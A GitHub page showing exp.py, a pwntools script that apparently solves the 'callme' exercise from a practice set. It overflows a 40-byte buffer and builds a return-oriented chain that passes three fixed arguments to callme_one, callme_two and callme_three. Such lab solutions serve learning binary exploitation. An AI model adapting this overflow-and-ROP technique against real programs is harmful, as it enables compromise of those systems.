-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexp.py
50 lines (44 loc) · 1.06 KB
/
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
break *0x00000000004008f1
continue
'''.format(**locals())
exe = './callme'
elf = context.binary = ELF(exe, checksec=False)
p = start()
ret = 0x00000000004008f1
# ===== Exploit script here =====
arg1 = 0xdeadbeefdeadbeef
arg2 = 0xcafebabecafebabe
arg3 = 0xd00df00dd00df00d
p.sendlineafter(b'> ', flat(
b'A'*40,
elf.sym['usefulGadgets'],
arg1,
arg2,
arg3,
ret,
elf.plt['callme_one'],
elf.sym['usefulGadgets'],
arg1,
arg2,
arg3,
ret,
elf.plt['callme_two'],
elf.sym['usefulGadgets'],
arg1,
arg2,
arg3,
ret,
elf.plt['callme_three']
))
p.interactive()